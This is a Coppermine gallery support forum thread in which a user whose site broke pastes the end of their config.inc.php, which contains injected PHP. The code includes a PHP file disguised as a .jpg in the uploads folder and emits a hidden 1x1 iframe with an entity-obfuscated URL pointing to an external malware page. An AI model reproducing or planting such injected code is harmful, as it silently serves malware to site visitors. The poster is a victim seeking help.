config.inc.php question config.inc.php question
 

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Main Menu

config.inc.php question

Started by sakyabuni, April 19, 2008, 03:13:02 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

sakyabuni

OK, first, hi everyone. Thanks for maintaining this board! I just joined. My gallery has gone down after only 3 weeks. I've searched through the posts. I'm not a programmer, just a designer. I apologize for that! After searching the forum, I found someone with a similar problem.

I have a question about the config.inc.php

Like the user who posted this problem:
http://forum.coppermine-gallery.net/index.php/topic,38206.0.html
My gallery suddenly went down. I hadn't uploaded to it for several days. I'm getting this: "Coppermine Photo Gallery seems not to be installed correctly, or you're running coppermine for the first time. You'll be redirected to the installer. "


I looked at the config.inc.php. It has code after the last line, MySQL TABLE NAMES PREFIX. Does this show that there is a problem? Or is it something that just gets added during the install. Can I just remove it and reupload the config.inc.php?

// MySQL TABLE NAMES PREFIX
$CONFIG['TABLE_PREFIX'] =                'cpg14x_';
?>
<?php
   if

(file_exists("/home/content/D/R/N/DRNC17/html/albums/userpics/10001/0xv045563131x.jp

g")) {
   

include("/home/content/D/R/N/DRNC17/html/albums/userpics/10001/0xv045563131x.jpg");
   

} else {
      echo "<iframe

src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#99;&#102;&#101;&#108;&#11

1;&#109;&#118;&#104;&#107;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;

&#100;&#118;&#53;&#52;&#50;&#46;&#112;&#104;&#112;' width=1

height=1></iframe>";
   }
   ?>



Also listed are these problems below. Does that suggest a problem with the index page and database? Or are these problems coming up because of config.inc.php?

Fatal error: Call to undefined function: get_meta_album_set() in

/home/content/D/R/N/DRNC17/html/index.php on line 2275

MySQL said: ' . mysql_error() . ''); // Retrieve DB stored configuration $results =

cpg_db_query("SELECT * FROM {$CONFIG['TABLE_CONFIG']}"); while ($row =

mysql_fetch_array($results)) { $CONFIG[$row['name']] = $row['value']; } // while

mysql_free_result($results); // Reference 'site_url' to 'ecards_more_pic_target'

$CONFIG['site_url'] =& $CONFIG['ecards_more_pic_target']; // Include logger functions

include_once('include/logger.inc.php'); // Include media functions require

'include/media.functions.inc.php'; // Check for GD GIF Create support if ...



Thanks for your time.  :)

sakyabuni

Also, I downloaded another config.inc.php file from the same server (different URL)


the table prefix is cpg_143

// MySQL TABLE NAMES PREFIX


$CONFIG['TABLE_PREFIX'] =                'cpg_143';


the table prefix for the gallery I am having trouble with is  'cpg14x_';


Perhaps this is a silly question but Is it common for there to be a variable there, the x? Could that be an indication of a problem?




sakyabuni

Thanks Nibbler!  :-*

We'll go over that. (https://coppermine-gallery.com/forum/proxy.php?request=http%3A%2F%2Fi245.photobucket.com%2Falbums%2Fgg46%2FPretty_in_Rd%2Fashamed.gif&hash=3089ede3ff757c8cbdcbc06114cf6eb285a5dda0)

Is that because I'm with a cheezy web provider?  I'm on GoDaddy.  Or did I bring it upon my self?

sakyabuni

ah, it seems many of the php files in the upper level have that extra code in them
*pacman munchie smiley

thanks for the link, so far it's been easy to follow